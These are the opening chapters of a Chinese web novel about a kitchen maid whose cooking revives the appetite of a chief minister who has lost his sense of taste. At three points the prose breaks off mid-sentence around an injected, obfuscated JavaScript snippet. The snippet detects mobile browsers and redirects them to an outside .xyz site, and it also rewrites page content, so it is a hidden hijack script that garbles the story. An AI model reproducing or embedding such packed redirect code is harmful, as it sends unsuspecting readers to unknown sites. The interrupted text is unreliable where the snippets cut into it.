《饲主他味觉失灵了》 1. 清汤豆腐 申时三刻，沉雷碾过京城灰暗的天际，豆大雨点砸在首辅府青石地上，溅起一片清冽水汽。仆役们脚步匆匆，屏息敛声地穿过湿漉漉的回廊。 府上管家赵福扯着嗓子在后厨门口吆喝：“快着些，大人车驾已过东华门，再有一个时辰便回府，手脚都麻利点。” 他抹了把额上不知是汗是雨的湿意，又朝里头探头，声音压不住地发紧：“都打起十二分精神，大人、大人今日胃口如何，你们心里得有数，仔细着，万不可出错。” 提到那位大人，后厨里忙碌的声响似乎都窒了一窒，众人埋头干活，连大气都不敢喘。 那位如今是陛下跟前最得力的重臣，偏偏前些年遭了歹人暗算，一碗毒药下去，生生坏了味觉，自此厌食症缠身，脾气也越发暴戾难测。每日用膳，便是整个首辅府如临深渊，如履薄冰之时。 新来的帮厨里，立着个身量纤秀的女子，名唤苏慈。 看着那些精致食材在老师傅们手中翻飞，犹豫片刻，她还是鼓起勇气轻声道：“刘师傅，这道蟹酿橙或许让婢子试试？” 话音未落，掌勺的大厨刘胖子便嗤笑出声，肥厚的下巴抖动着：“你？一个刚进府，毛都没长齐的丫头片子，去去去，洗你的菜去，别在这儿添乱。” 苏慈睫羽低垂，抿了唇，乖顺地退回角落的水盆边。 一个时辰倏忽而过，府门外车马喧声渐近。当朝首辅温砚礼踏至府内，半月奔波，并未损他分毫清贵。一身玄色常服，衬得那张脸愈发如冷玉雕琢，俊美得不似凡人，偏生那双眼，寒潭似的，无波无澜。 堂内满桌珍馐，玉盘珍羞，香气缭绕。 他端坐主位，拿起银箸，随意拨弄了一下面前那碟精雕细琢的蟹粉狮子头。 箸尖刚触到那软腻的肉糜，那股熟悉的恶心感便再次冲上喉头。眉头骤然拧紧，他手腕一甩，“啪”地一声，那双镶银的象牙箸被狠狠掼在青石砖地上，断成两截。 “呵，”一声短促的冷笑从他薄唇间逸出，“偌大一个首辅府，养了这么多张嘴，竟养不活本官一张嘴？” 赵福佝偻着腰背，额上冷汗涔涔。 半个月前大人离京办差，府里上下都松了口气，谁曾想今日甫一回府，这厌食的旧疾竟发作得比以往更凶。眼前这位爷，可是跺跺脚整个朝堂都要震三震的主儿，他若真进而有个好歹……赵福不敢再想下去。 他端着最后一道新呈上的碧螺虾仁，手抖得差点托不住那玉盘，小心翼翼地将盘子放在温砚礼面前，喉结紧张地上下滚动：“大、大人，您再尝尝这个？厨房刚、刚…” 温砚礼连眼皮都懒得抬一下，指尖烦躁地敲击着紫檀木的桌面，那笃笃声像是催命的鼓点：“尝？尝什么？一堆徒有其表的死物。”他拂袖一挥，带起的风掀翻了那盘虾仁，“连一丝烟火人间的活气都没有，你们拿本官当什么？泥塑木雕吗？” “大人息怒，老奴万死。”赵福膝盖一软，扑通一声重重跪倒在地，额头咚地磕在冰冷的砖石上，浑身筛糠般抖着。 满堂仆役跟着齐刷刷跪倒一片，死寂中只剩下牙齿打颤的细碎声响。 温砚礼看着眼前匍匐一片的身影，厌烦的气息尚未掩饰。他闭了闭眼，连眼风都懒得再给地上跪着的人，只冷冷吐出一字：“滚。” 赵福浑身一颤，就在他抖得快要瘫软下去时，一个念头突然出现在他脑海里，后厨那个新来的，从江南水乡来的小丫头。前日她怯生生站在厨房门口，眼睛亮亮的，说想试试做几样家乡的小点心。 这念头一起，赵福心头竟莫名生出一丝孤注一掷的勇气。他霎时抬头，声音发颤地破了音：“大人息怒，老奴斗胆！前些、前些日厨房新来了个江南小娘子，兴许、兴许她…”话未说完，已被温砚礼一声嗤笑打断。 “江南？”温砚礼终于将视线从虚空处收回，缓缓落在赵福惨白的脸上，唇角微露讥讽，“山温水软之地，又能养出什么别致的滋味？” 他顿了顿，指尖的叩击声停住，那骤然降临的寂静比方才更令人窒息，“也罢。” 赵福一口气提到嗓子眼，屏息凝神，只听得那冰冷的声音再次落下，一字一顿，敲在心上。 “叫她做，若做出来的东西，比地上这些废物更令人作呕，”温砚礼的目光寒凉彻骨，凝着赵福抖如筛糠的身形，“仔细你的皮。” - 后厨里，水汽氤氲。 苏慈蹲在一堆油腻的碗碟间，冰凉的井水泡得她指尖发红。 她仔细擦拭着最后一只青花大碗，灶膛里未熄的余烬散出一点暖意，算是这冰冷活计里唯一的慰藉。 两年前，她还是御厨世家的女儿，因受家族牵连死里逃生，经数月奔波终于来到京城，本是想投靠亲戚，却不曾于上月被亲戚一纸卖身契，发卖入府，如今成了最底层的粗使丫头。 她没抱怨，只想着攒够赎身的银两出府，然后开一间小小的食铺，安安稳稳地过日子，这便是她全部念想。 “苏慈，苏慈丫头在哪儿？”一个管事小厮风风火火地闯了进来，声音急促，眼睛在烟雾缭绕的后厨里急切地搜寻。 苏慈闻声抬头，沾着水渍的手指还悬在半空，神情带有被打断的茫然：“我在这儿。” 小厮一眼看到了她，三步并作两步走过来，拎起她的胳膊就往外拽：“快跟我走，前头大人回来了，正发着天大的脾气，赵管家指名要你，赶紧去做几样顶顶清淡的小菜，快，迟了要出大事。” 胳膊被攥得生疼，苏慈的心顿时一沉。 进府这半个月，她只在旁人的低声议论中听过这个名讳，关于这位当朝首辅的传闻，冷酷孤僻，手腕狠厉，不近女色，府里连半个侍妾都无，连当今陛下都器重几分。 苏慈心跳得厉害，跟着小厮穿过一道道回廊。 府邸在夜色中格外幽深，廊下悬挂的灯笼在夜风中摇晃，投下明明灭灭的影子，像一只只窥伺的眼睛。 刚踏入正堂，苏慈便注意到了地面上尚未清理干净的狼藉，以及主位上那股极具压迫感的低气压，她脚步惶恐地顿住。 温砚礼并未看她，甚至眼皮都未曾抬一下。 他一手支着额头，姿态倦怠，另一只手修长冷白的手指间，拈着一柄小巧的银匙，正有一下没一下地敲击着面前那只空空如也的定窑白瓷小碗。清脆的叮叮声在寂静的大堂里回响，每一下都像敲在人心上，他薄唇紧抿，唇角那丝若有若无的弧度，直叫人头皮发麻。 “半个时辰，”他终于开口，声音无波澜，却比任何时候都更让人心惊胆战，“这后厨，就端得出这满地的狼藉和…” 话未说完，他手中的银匙停住，眼皮撩起，径直看向门口那个纤细单薄的身影，“…你？” 赵福在一旁拼命使眼色，急得要跳脚。 那道视线让苏慈遍体发凉，呼吸似乎都停滞了。 她浅浅吸了一口气，压下喉咙口的颤抖，强迫自己屈膝，行了一个尽可能平稳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说罢，他捏起那柄银匙，动作有些敷衍，匙尖漫不经心地舀起一勺汤，连带一块豆腐，随意地送入口中。似乎只是完成一个不得不做的流程，预备下一刻便连同这碗和做它的人一起掷出门外。 然而，当豆腐被他勉强送入口中的刹那。他咀嚼的动作，忽地顿住了。 那双总是凝着寒霜的眼眸，瞳孔竟缩了下。舌尖传来的触感，细腻得不可思议，入口即化，只留下纯粹的豆香和那股若有若无的清甜。 那汤，更是奇妙，看似寡淡如水，入口却温润熨帖，顺着喉咙一路滑下，竟奇迹抚平了胃里的不适，甚至还勾起了他久违的，属于食物的渴望。 他握着银匙的手指停在半空，指尖微微用力，骨节分明凸起。那双惯常只盛着冷漠的深眸，第一次真正地缓缓抬起，锐利如鹰隼地盯着几步之外垂首侍立的女子。 “名字？”嗓音寡淡，褪去了之前的冰厉，多了几分审视的重量。 堂中一片死寂，所有人的目光都聚焦在苏慈身上。她咽了口唾沫，心在胸腔里急促地跳动。强迫自己稳住声音，清晰地回答：“奴婢苏慈。” 温砚礼喉结上下滚动了一下，咽下了口中那点温润的余味。他没有再看她，注意力重新落回那只白瓷小碗，手中的银匙再次落下。 这一次，动作不再敷衍，节奏专注平稳。一勺，又一勺。汤勺刮过碗底的声音在大堂里分外清晰。 片刻之后，那只白瓷小碗，已然见底。 银匙被轻轻搁在碗沿上，温砚礼抬起眼，视线落回苏慈低垂的发顶，随即淡道：“明日起，你为本官掌勺。” 2. 白玉羹 温砚礼这番话落进堂内众人耳中，激起的回响远比满地瓷片更令人心惊。苏慈顿时头皮发麻，察觉到无数视线黏在了自己身上，惊诧、探究、难以置信及种种复杂情绪压得她不敢抬头。 她没敢看主位上那位喜怒难辨的首辅大人，依着规矩深深福了一礼：“奴婢遵命。” 直到退出正堂，走在被灯笼拉长身影的回廊下，晚风吹在汗湿的鬓角带来丝丝凉意，她才迟钝地反应过来。 这突如其来的抬举，意味着什么。 此时苏慈心口像是揣了只小兔子，慌慌地跳着，说不清是惶恐更多，还是那一丝被人认可的暖意更多。 西跨院角落那间窄小的下房里，只点着一盏如豆的油灯，光线昏黄暗淡。 同屋的春杏和秋菱早已洗漱完毕，各自坐在自己的板铺上。 春杏拿着一把小银剪子，对着光线，百无聊赖地修剪着自己小指上那点指甲。 听到门轴轻微的吱呀声，她眼皮都没抬一下，只从鼻腔里发出一声轻哼。苏慈捧着换洗的旧布衣裳，脚步放得极轻地出去打水。 苏慈刚轻轻带上门，春杏手里的银剪子便“啪”一声拍在床沿上：“呵，瞧瞧，咱们这位苏掌勺可真是贵人回来了，那架势，啧啧。”她刻意拔高的调子，酸得能拧出汁来。 “不过走了狗屎运，端了碗上不得台面的清水豆腐上去，就真当自己攀上高枝儿了？大人那是饿狠了，是个人端碗馊饭上去，怕他也能囫囵吞了，也值当这般得意。” 秋菱坐在自己的铺上，手里慢悠悠地缠着一团丝线，闻言抬起眼皮，瞥了一眼紧闭的房门，嘴角扯出抹安抚的笑，声音温吞：“春杏姐，消消气。她一个刚进府没几日的奴婢，懂什么？不过是瞎猫撞上死耗子罢了。” “大人何等尊贵挑剔，不过是一时饿急了。过两日，大人尝腻了她那点粗陋玩意儿，自然就丢开了。您可是在府里伺候了快三年的老人儿，犯不着跟她置气。” 话毕，她吹了吹丝线上并不存在的灰尘，语气带着笃定的轻慢。 春杏紧绷的脸色果然松动了几分，那股子直冲脑门的酸火被秋菱几句话浇下去不少。 她撇撇嘴，语气刻薄：“哼，一个奴才，仗着有几分颜色，就想一步登天？也不看看这是什么地方，等着瞧吧，有她哭的时候。” 苏慈端着半盆微温的清水回来，盆沿边搭着她的旧布巾子。 推开门，脚步比出去时更轻了些，昏黄的油灯光晕里，只看到春杏和秋菱各自背对着门的方向躺着，似乎已经歇下。 她悄悄松了口气，把水盆放在角落的木架子上，尽量不发出一点声音。 “苏慈，”春杏的声音突然响起，人却依旧面朝里躺着，“我方才想起，我那件藕荷色的细布衫子还堆在盆里没洗呢。今日乏得很，劳烦你替我洗了晾上吧，明日一早我还得穿。”说完，甚至没有回头看一眼。 苏慈解衣扣的手指顿在半空。 那件藕荷色的衫子，她记得清清楚楚，春杏傍晚回来时明明已经洗净晾在院子里的竹竿上了。 不由来的滞闷堵在心口，她轻咬了咬下唇。昏暗中，秋菱那边没有任何动静，仿佛已经睡熟。 沉默在狭小的屋子里弥漫开来，只有油灯灯芯偶尔爆出细微的噼啪声。 苏慈垂下眼睫，看着自己的旧衣襟，那股子想辩解的冲动还是被压了下去。 她深知自己在这府里的处境，一个戴罪之身，能有一席容身之地已是不易，多一事不如少一事。 松开咬着的唇，她声音低低的：“是，春杏姐，我这就去。” 然后重新端起那盆水，转身又轻轻退出了屋子，小心地掩好门。 初夏的夜风带着凉意拂过脸颊，院子里黑黢黢的，只有远处廊下灯笼透过来一点朦胧的光。 她走到井台边，放下水盆，冰冷的井水浸过手背，带来阵阵冰凉的寒意。 默默拿起那件刚从竹竿上收下的藕荷色细布衫子，将它再次浸入水中。 翌日，大人昨夜让那新来小厨娘近身伺候了的消息，火速传遍了整个府邸角落。庖厨里更是炸开了锅，周遭弥漫着一种意味不明的酸味跟紧张。 苏慈系着围裙，坐在小杌子上埋头剥着冬笋。旁边切菜剁肉的声响里，夹杂着刻意拔高的议论，一字不落地钻进她耳中。 “啧啧，真是人不可貌相，这才来几天呐，就入了大人的眼了？”一个颠勺的胖厨子斜睨着这边，语气酸溜溜的。 旁边正在揉面的婆子接话，声音尖细：“可不是嘛，说不定啊，人家真有那造化，往后就专在小厨房伺候大人了，咱们这大灶上的粗笨活计，哪还配让人家动手？” “专伺候大人？”另一个专做点心的厨师嗤笑一声，手里用力摔打着面团，“我看悬！大人什么山珍海味没尝过，不过是图个新鲜罢了。有些人可别真以为侥幸做合了一次口味，就能一步登天了，小心摔下来更疼。” 苏慈剥笋的手指顿了一下，长长的睫毛垂着，遮住了眼底的情绪。她没吭声，随即将剥好的莹白笋肉轻轻放入清水盆中，又拿起下一根，继续细细刮去粗糙的外皮。 她知道这些人为何这般说道，无非是怕她真挤占了他们在大人跟前露脸的机会。 一整日里，苏慈就在这般窃窃私语和时不时飞来的白眼间度过。她洗完了菜，又被指派去剥一大堆蒜头，辛辣的气味熏得眼睛发涩。 她心里并不是没有动容，那些话听着难受，但更深处，也藏着一丝自己也说不清的期盼。 若真能去大人跟前伺候，哪怕只是专司饮食，月钱定然会比现在多上不少，她离攒钱开食肆的梦想也能更近一步。 她甚至悄悄在心里盘算了好几样自己拿手又清淡精巧的菜式，想着若大人传唤，定要好好表现。 然而，日头渐渐西斜。 庖厨里已经开始准备晚膳的各色食材了，管家赵福进来巡查了几趟，连看都没看苏慈一眼，如往常一般催促着各位大厨用心备菜，说大人今日似乎公务尤其繁忙。 那些原本提着心的大厨们，见这般光景，脸上渐渐露出松快的神色，言语间也多了几分底气。 “瞧见没？我就说吧，大人何等身份，岂会真把膳食大事系在一个洗菜丫头身上？” “不过是运气好撞上一回，新鲜劲儿过了也就忘了。” “终究还是得靠咱们的手艺，都打起精神来，今晚的赤枣乌鸡汤和酒糟鲥鱼可都是功夫菜。” 苏慈听着这些话，默默地将剥好的蒜粒收到碗里。心底那点小小的期盼，就像被冷水浇灭的火星，只剩下一点湿漉漉的灰烬，沉闷地坠着。她原以为抓住了一个机会，能稍稍改变境遇，多攒下些银钱，如今看来，果然只是自己妄想。 大人那般人物，兴许昨日只是一时兴起，转头便忘了她这微不足道的小厨娘。 她轻轻叹了口气，端起那碗蒜粒，走向灶台，准备帮着生火。 窗外天色已彻底暗下，府中各处的灯笼次第亮起。 而苏慈不知道的是，书房内，温砚礼还在紧忙处理着堆积的文书，其中一份关于边镇军粮的八百里加急公文更是重中之重。 赵福轻手轻脚送进来的晚膳，他匆匆扒了几口，便摆手让人撤下，心思全在政务上，早已将昨日那个做羹汤的小厨娘，忘在了脑后。 - 府邸深宅，捧高踩低之事向来难免。 自那日苏慈似乎入了温砚礼的眼后，庖厨里几位掌勺的大厨心中便存了芥蒂，明里暗里的排挤，更是化作了实打实的刁难。 那些原本还算客气的婆子厨娘，如今指使起她来格外顺溜。 “苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353962|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈，这堆衣裳赶紧洗了，等着穿呢。” “没瞧见水缸空了吗？快去打满。” “角落那堆柴火，今日务必劈完。” 一件件一桩桩，尽是些费时费力的粗重活计。她的手指时常泡在冷水里变得通红，纤细的胳膊抡起斧头也分外吃力，额角总是满头大汗。 她不是不明白，这是因她曾侥幸入了那人的眼，招来了无声的排挤。她抿着唇，一次次将委屈和疲惫咽回肚子里，告诉自己需得忍耐。 在这深府大院，她无依无靠，最能做的，也就是忍了。 可人心到底是肉长的，连日的劳碌与冷语像不断充入的气，将她撑得满满的，堵得慌，不知何时便会到达极限。 她低头揉着酸痛的手腕，觉得自个儿像个裹满了负能量的气囊，稍一碰触，或许就要炸开。 这日午后，她正蹲在地上收拾一摞不小心被打碎的瓷盘碎片。碎片边缘锋利，她小心地拾掇着，一个不慎，一片尖利的碎瓷狠狠地扎进她左手虎口处。 “嘶——” 苏慈疼得倒抽一口冷气，脸色白了一瞬。殷红的血珠疯狂涌出，顺着指缝滴落在灰扑扑的地面上。 她忍着钻心的疼，用右手紧紧捏住伤口下方，快步去找赵管家。 赵福在核对采买账目，见她举着流血的手过来，眉头拧成了疙瘩，脸上透出几分不耐：“怎地这般不小心？尽添乱。” 苏慈疼得声音发颤：“赵管家，对不住，能、能否给些金疮药和干净布条包扎一下？” 赵福本想呵斥几句，但忽然想起那日正院里大人似乎对她另眼相看。虽然后来没了下文，万一哪天大人又想起来了呢？这手若是留了疤或是不利索了，总归不好。 压下心头烦躁，他没好气地嘟囔了一句“等着”，转身去里间取来一小瓶药粉和一卷白棉布，胡乱塞给她：“自己弄，弄好了赶紧回去干活，别偷懒啊。” “多谢赵管家。”苏慈低声道谢，忍着痛笨拙地撒上药粉，用牙咬着布条一端，艰难地将伤口缠紧。药粉刺激着伤口，带来一阵灼痛，她眼圈微微湿润，却强忍着没让眼泪掉下来。 也是这日，温砚礼回府比平日早了些。 政务暂歇，腹中顿感空乏来。 他换了身家常的沉香色直身，随口吩咐传膳。 命令一下，庖厨里顿时热火朝天。 大厨们抖擞精神，使出浑身解数，煎炒烹炸，不多时，一道道色香味俱全的佳肴由丫鬟们捧着，流水般送入正厅。 温砚礼端坐桌前，目光扫过满桌珍馐——葱烧海参油亮，清蒸鲥鱼银鳞未褪，火腿鲜笋汤香气扑鼻。 皆是往日惯吃的菜式，但他总觉得少了点什么。 他神色淡漠地执起银箸，夹了一块笋尖送入口中，机械地咀嚼了几下，味同嚼蜡，胃里又涌起一丝熟悉的腻烦。 温砚礼放下筷子，眉宇间蹙起一道浅痕。 不是这个味道。那股能稍稍撬开他麻木味蕾的家常滋味，不见了。 侍立一旁的赵福见大人停了筷，脸色不佳，心头一跳，忙躬身小心问道：“大人，可是今日的饭菜不合口味？” 温砚礼抬眼，语气淡然：“今日的膳食，是谁掌勺？” 赵福一愣，忙回道：“回大人，仍是府里几位大厨精心烹制的，都是您平日用惯的。” “嗯。”温砚礼应了一声，又勉强动了几筷子，便彻底没了胃口，起身拂袖而去。 赵福看着没怎么动的菜肴，心里直打鼓，也不知问题出在何处。 夜深，温砚礼刚准备歇下时，腹中隐隐又有些空落。 就在这时，他脑中忽地灵光一现，原来是那个厨娘。 那个能做出口味不一样的汤水，眼神干净得像小鹿似的江南丫头。 他竟把她给忘了。 3. 清汤细面 寅时刚过，天幕还是浓稠的墨蓝，几点星子疏落挂着。 温砚礼已穿戴齐整，深紫色的朝服衬得他面容愈发冷峻，身形挺拔如松。他踏出正院清冷的门槛，身后随从提着灯笼亦步亦趋。 清晨寒气侵骨，他呵出的气息凝成淡淡白雾。 行至垂花门洞下，他脚步忽地一顿，并未回头，只对着身后沉沉的空气开口：“上次那个奴婢，叫什么？” 紧跟在他身后的长随福安闻言一愣，险些踩空一步。 他万没想到日理万机的主子还记得区区一个厨娘，忙敛神恭敬回道：“回大人，那女子姓苏，单名一个慈字。” “苏慈。”温砚礼低声重复了一遍，脚步未停，淡地吩咐，“嗯。让她午间到小厨房候着。” “是，小的记下了。”福安连忙应声，心下暗自称奇。 日头爬得高了，临近晌午，苏慈拿着扫帚，吃力地清扫着庖厨后院那片空地上的落叶。 昨日受伤的地方被布条厚厚包裹着，每一下用力都牵扯着伤口，带来一阵阵钝痛。 正咬着牙坚持，忽见管家赵福脚步匆匆地寻了过来，视线扫过她手里的扫帚，眉头习惯性地皱起：“别扫了，快跟我走。” 苏慈一时有些发懵，握着扫帚怔在原地。 旁边同样在干杂活的两个厨子瞧见了，互相使了个眼色，其中一个壮着胆子凑上前问道：“赵管家，可是大人昨日胃口不佳，今日想换点新花样？咱们刘师傅最拿手的糟溜鱼片。” 赵福不耐烦地瞥了她们一眼，语气带着几分奚落：“给了你们多少机会？一个个都不中用。”说罢，他没继续理会那两人青白交错的脸色，转向苏慈，“大人快回府了，点名让你去小厨房做几道清淡小菜，赶紧的，别磨蹭。” 那两个厨子听见这话，顿时瞪大了眼，神情各种不服：“凭什么让她去？她一个刚来的，懂什么掌勺。” 苏慈装作没听见那些质疑，赵管家的话落入耳中，让她心口咯噔一跳，不由来的欣喜冲散了连日的委屈。 她放下扫帚，低声应道：“是，我这就跟您去。” 赵福懒得搭理那两人，转头脚步飞快，一边头也不回地低声嘱咐，语气严肃：“听着，大人肯让你近前伺候，是你天大的造化。你只管拿出十二分的心思，把饭菜做得清爽可口便是。旁的，一丝一毫都不准有，不该看的不看，不该听的不听，更不准生出什么不该有的心思，可明白？”说罢，他侧过脸，严厉地瞥了苏慈一眼。 苏慈微垂着头，跟在他身后半步，闻言低声应道：“苏慈明白，只做好分内事。” 赵管家脸色稍缓，又补充道：“用心办好了差事，自然少不了你的好处，月钱会给你涨些。” 听到涨月钱，苏慈的心实实在在快跳了一下。在府里，多一文钱都是好的。她微微垂首，声音更轻也更稳了些：“管家放心，奴婢省得。” 小厨房设在靠近书房的一处独立厢房内，器具一应俱全，远比大灶上精致干净。 里头已有两个厨娘在候着，一个是专做白案的张嫂子，另一个是负责红案的钱嫂子，见赵福领着苏慈进来，脸色都不太好看。 赵管家清了清嗓子：“钱张两位嫂子，这是苏慈。大人午膳点她来做几道清淡小菜，你们且帮衬着些。” 张嫂子闻言，吊梢眼将苏慈上下打量一番，皮笑肉不笑地道：“哟，这位就是近来府里风头正盛的苏姑娘吧？真是百闻不如一见。” 苏慈不欲生事，低头微微福了一福，轻声道：“苏慈见过两位嫂子，今日还需两位多多指点。” 钱嫂子鼻孔里轻轻哼了一声，扭过头去，专心地对付她的面团，仿佛没听见。张嫂子则慢悠悠拿起菜刀，笃笃笃地切起来，刀刃撞击砧板的声音又急又密，像是某种不耐烦的回应。 赵福也懒得理会她们之间的暗潮涌动，对着苏慈又交代了几句大人近来食欲不振的情形，便转身去前头忙了。 苏慈调整了自己的思绪，走到洁净的灶台前。 赵管家方才的话在她脑中回响，大人对普通食物提不起兴趣。 她想起那日他勉强下咽的模样，心中隐约明白，这位位高权重的大人，怕是患有严重的厌食之症。 如此一来，食物的色与香，恐怕比味道本身更为重要，需得先勾起他的注目，才能谈其他。 她定了定神，开始挑选食材。指尖触碰到清凉的瓜果蔬菜时，那伤口的疼痛似乎也感觉不到了。 取过一块嫩豆腐，小心翼翼托在掌心，另一手持着薄刃小刀，屏息凝神。刀锋轻旋，手腕极其稳定地动作着，竟是将那颤巍巍的嫩豆腐细细地切成了细如发丝的豆腐丝。 这手功夫，看得旁边原本冷眼旁观的钱、张二人都不由得停下了手中的活计，眼神里透出惊讶。 苏慈浑然不觉身后的目光，全神贯注。她用竹签仔细挑去虾线，将虾仁剁成极细的茸。又将一小块鸡胸肉细细捶打成泥，滤去筋膜。 动作麻利又轻柔，案板上几乎没有多余的声响。 钱嫂子和张嫂子交换了一个眼神，凑近了些，压低了嗓子嘀咕。 “切得倒是细，花架子罢了。”钱嫂子撇撇嘴。 “看着吧，大人什么没见识过？一碗豆腐丝就想显摆。”张嫂子附和着，语气酸溜溜的。 苏慈只当耳旁风，将豆腐丝轻轻放入温水中养着，开始调制羹汤的底味。 用的是清冽的高汤，撇尽了浮油，只余清澈见底的鲜香。 虾茸和鸡茸用蛋清和少许清酒，细盐调匀，上笼屉用文火慢蒸成雪白嫩滑的糕状。 灶膛里的火映着她专注的侧脸，鼻尖沁出细小的汗珠，眼神却亮得惊人。 她小心地将蒸好的虾鸡糕取出，同样切成极细的丝。清澈的高汤在锅中微微滚沸，苏慈用竹漏勺托着，将养在水中的豆腐丝和切好的虾鸡糕丝，如同梳理最上等的丝线，轻柔地滑入汤中。 丝丝缕缕的洁白在清汤中如云雾舒展散开，轻盈得仿佛没有重量，最后再撒上一小撮切得极细的碧绿芫荽末。 一碗汤羹，清澈见底，白玉般的丝缕在其中静静悬浮，几点翠绿点缀其间，热气袅袅，不染半分油腻。 小厨房里弥漫着阵阵纯粹干净的鲜香。钱嫂子张了张嘴，想说什么，却只看着那碗白玉羹，没发出声音。张嫂子则别开了脸。 苏慈轻轻舒了口气，用干净的布巾擦了擦手。窗外日影正移，午时已至。 院外传来下人恭敬的请安声，小厨房里的空气霎时绷紧，连那两个厨娘都下意识地放轻了动作。 苏慈垂着眼，端起那碗白玉清汤，指尖能感受到青瓷碗壁温润的暖意。 心，却像被什么攥紧了，悬在半空。 - 午时一到，温砚礼回府了。 他步履沉沉踏入正院，周身萦绕着一股尚未散尽的低气压，连廊下啁啾的雀儿都噤了声。 那张俊美冷漠的脸上没什么波澜，只眉宇间凝着一丝挥之不去的厌烦，显然是朝堂上又有不长眼的蠢物触了他的逆鳞。 赵管家早已候在廊下，见状心头一紧，腰弯得更低，声音放得轻：“大人，午膳已备好，可要现在传？” “嗯。”温砚礼从鼻腔里哼出一个音节，径直走入膳厅。 六道菜式很快由丫鬟鱼贯端上，摆满了宽大的紫檀圆桌。多是些府中厨娘拿手的荤食，酱色浓重，堆叠在盘中，看着便觉滞腻。 唯独一碗素净的白玉羹，汤色清透，豆腐片如雪瓣沉浮，几点翠绿葱丝点缀其上，是这满桌沉重里唯一的一抹轻盈。 温砚礼在主位坐下，抬眸看向桌面，薄唇抿得更紧，那点厌烦几欲遮掩不住。侍立一旁布菜的丫鬟战战兢兢，夹起一块油亮的红烧肉，还未送至他面前的小碟，他已不耐地偏开头。 赵管家额角见了汗，觑着主子的脸色，心知不妙，再不敢耽搁，忙朝门外使了个眼色。 候在门边的苏慈被轻轻推了进来。 “大人，”赵管家陪着小心道，“这道白玉羹是这丫头的手艺，让她、让她给您说说？” 苏慈垂着头，一步步挪到膳桌旁，心跳得擂鼓一般。她能感觉到那道冰冷的视线落在了自己身上，无形的压力让她快要喘不过气。 攥紧了藏在袖中的指尖，声音极小：“这、这是婢子做的白玉羹。” “本官有这么吓人？抬起头说话。”温砚礼冷呵一声，带着点被冒犯的冷峭，突兀地响起。 苏慈被这突然的发问惊得一颤，下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353963|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头，正撞进那双深不见底的眸子里。 心头一慌，她又死死低下头去：“回大人，这白玉羹取最嫩的豆腐，切薄片，只用清水、姜片、盐，清煮片刻，取其本味之清鲜，撒新鲜葱丝提色增香。味、味极清淡，大人若、若没有胃口，或可试试。”待一口气说完，后背已沁出一层薄汗。 温砚礼瞥了她一眼，随即落在了那只裹着布条缩在袖口下的左手，那布条边缘还隐约渗着一点暗色。 “手怎么回事？”他问。 苏慈没想到他会注意到这个，下意识地将手往后藏了藏，低声道：“回大人，昨日、昨日收拾碗碟时，不小心被碎瓷划了一下，不碍事的。” 温砚礼听了，喉间发出一声意味不明的“嗯”，终是拿起汤匙，舀了一勺汤羹送入口中，慢慢品着。 就在苏慈以为这事已经过去了，又听他仿佛随口吩咐般地道：“既是在灶上做事，就好生治着，别留了隐患，日后碍了做饭的手艺。” 苏慈愣了一愣，一时没反应过来他这话是关心，还是单纯嫌弃她可能耽误活计。不敢多想，她忙低下头，应道：“是，奴婢知道了。” 站在一旁的赵福倒是个人精，一下就听出了话音。 大人这分明是记挂着这丫头的手艺，怕她手坏了影响以后做菜呢。 片刻，苏慈又悄悄抬眼，紧张地盯着他每一个细微的表情。 只见他喉结微动，将那碗汤全都吃完了，脸上还是那副万年不变的冷脸模样，既无赞许，也无厌恶。倒是之后，他对其他菜肴的挑剔却毫不留情。 “这肉焖得死柴，嚼蜡一般。” “油腥气太重，撤了。” “……” 每一句冷淡的评语落下，都让侍立的人脸色白一分。苏慈听着，心慢慢沉下去，又有一股倔强悄然升起。 原来他比想象中更难伺候。她暗自咬唇，下一次，定要更用心些才行。 午后，苏慈刚回到院不久。 赵福去而复返，手里拿着一个精致些的白瓷小药瓶并一卷细棉纱布，递到她面前，语气比之前和缓了些：“喏，这是上好的金疮药，活血生肌最有效，用这个重新包扎一下。大人吩咐了，让你仔细着手，尽快养好。” 苏慈看着眼前比昨日还要好上许多的伤药，心里滋味有些复杂，她默默接过：“谢赵管家。” - 午时，是倦意最浓的时候。 苏慈刚在小厨房收拾停当，洗净了手，正想寻个角落略歇一歇酸软的腿脚。 一个粗使的小丫头探头进来，脆生生道：“苏慈，角门外头有人寻你呢。” 苏慈眼皮一跳，心头闪过几分茫然。她早已是孤零零一个，家都没了，还会有谁来找她？疑惑归疑惑，她还是理了理衣衫，朝府侧供下人出入的小门走去。 角门虚掩着，推开时发出轻响。门外石阶下，站着个身着绸衫的微胖男子，探头探脑地往里张望。 日光落在他那张堆着笑的脸上，苏慈瞳孔紧缩，竟是远房表兄苏旺。 这张脸，不可避免地让她想起了刻意尘封的记忆。当年苏家遭难，墙倒众人推，这位表兄一家非但袖手旁观，更趁机落井下石，强占了苏家几处薄田，生怕沾上半点干系。那副贪婪又怯懦的嘴脸，苏慈至死难忘。苏慈脸色一白，转身就要关门。 